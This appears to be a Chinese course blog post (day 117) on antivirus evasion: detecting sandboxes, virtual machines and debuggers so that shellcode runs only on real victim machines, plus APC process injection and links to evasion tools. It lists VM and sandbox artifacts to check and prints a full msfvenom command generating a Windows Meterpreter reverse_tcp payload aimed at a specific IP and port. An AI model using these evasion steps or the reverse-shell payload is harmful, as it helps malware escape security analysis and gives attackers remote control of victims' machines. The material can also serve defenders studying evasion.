第117天:免杀对抗-反VT沙盒&反虚拟机&反调试&进程APC注入&项目保护
知识点
#知识点:#
1、反VT-沙盒检测-Go&Python&C++
2、反调试-调试检测&进程注入-C++
3、反VT反调试-程序保护-工具项目类
#章节点:#
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态
对抗目标:
X60 Defender 某绒 管家 VT等
编程语言:
C/C++ Python C# Go Powershell Ruby Java ASM NIM Vlang等。
涉及技术:
ShellCode混淆,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等
演示案例
1、反VT-沙盒检测-Go&Python&C++
2、反调试-调试检测&进程注入-C++
3、反VT反调试-程序保护-工具项目类
近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检测率。
其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。为了逃避沙箱/安全人员的检测,恶意软件使用了各类识别沙箱/虚拟机的技术,用于判断自身程序是否运行在沙箱/虚拟机中。
一、调试器检测
- 基本的例如 IsDebuggerPresent API ,PEB.BeingDebugged...
- TLS 回调
- hard/software breakpoints
- VirtualAlloc
...
二、DLL注入检测
- 检测是否有DLL注入此进程来实现对进程的行为监控(HOOK)
三、Virtual Box 检测
- 检测文件,例如VBoxMouse.sys, VirtualBox Guest Additions directory...
- 检测注册表,进程,服务,例如VBoxControl.exe, VBoxService...
- 检测硬件名称,MAC地址等等...
四、VMware 检测
- 与VB检测类似
五、其他虚拟平台检测
- 例如 Xen, QEMU, Wine, Paralles...
六、分析工具进程检测
- 检测例如OD, ProcessMonitor, Autorun 等分析工具进程的存在....
七、通用沙盒/虚拟机检测
- 检测是否存在特殊进程名,模块名
- 通过WMI检测真实硬件状态,例如硬盘大小,内存大小,CPU风扇,型号,BIOS序列号名称,电源电压,温度等等...
1、微步沙盒:https://s.threatbook.cn/
2、腾讯哈勃分析系统:https://habo.qq.com/
3、魔盾:https://www.maldun.com/analysis/
4、微点沙盒:https://sandbox.depthsec.com.cn/index.php/
5、奇安信文件深度分析平台:https://sandbox.ti.qianxin.com/sandbox/page
6、ANYRUN:https://app.any.run/
7、HybridAnalysis (Falcon Sandbox):https://www.hybrid-analysis.com/
8、CAPE Sandbox: https://capesandbox.com/
9、BD Sandbox Analyzer:https://www.bitdefender.com/business/enterprise-products/sandbox-analyzer.html
10、Joe Sanbox: https://www.joesandbox.com/
#反VT-沙盒检测-Go&Python&C++#
Go
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.94.236.117 LPORT=6688 -f hex
Python
https://www.jb51.net/article/248175.htm
https://www.freebuf.com/articles/system/202717.html
https://blog.csdn.net/lc19920727/article/details/122820209
C/C++
https://github.com/sharepub/CheckVM-Sandbox
#反调试-调试检测&进程注入-C++#
反沙盒&反虚拟机&APC进程注入
https://forum.butian.net/share/758
https://mp.weixin.qq.com/s/mC0XhNSwdhhISwcBFXe0uQ
#反VT反调试-程序保护-工具项目类#
https://bbs.kafan.cn/thread-2181869-1-1.html
https://github.com/LordNoteworthy/al-khaser
总结
"反VT反调试"大致实现流程为:先检测是否在虚拟机或沙箱中运行,若不是则执行shellcode,反之则不执行。
检测是否在"虚拟机"中运行,参考以下方法:#
1、通过进程名检测VMware&VirtualBox(类似Vmtoolsd.exe和Vmtoolsd.exe)
2、检测注册表(类似HKLM\SOFTWARE\Vmware Inc\Vmware Tools)
3、检测硬盘中的文件(类似C:\windows\System32\Drivers\Vmmouse.sys)
4、判断运行中的服务(类似VMTools和Vmrawdsk)
5、检测mac地址前缀(类似00:05:69 (Vmware)和08:00:27 (VirtualBox))
6、使用CPUID指令检测虚拟机(CPUID的作用是允许软件发现处理器的详细信息)
检测是否在"沙盒"中运行,参考以下方法:#
1、延迟运行(沙箱检测运行的时间一般比较短,所以我们可以延迟等待一会儿后再进行真实的操作)
2、检测开机时间(一般沙箱检测完毕后会重置系统,根据开机时间来判断是否是真机,比如小于1个小时返回false)
3、检测物理内存(绝大多数真机内存都大于4G,可检测内存是否大于4G来判断是否是真机)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通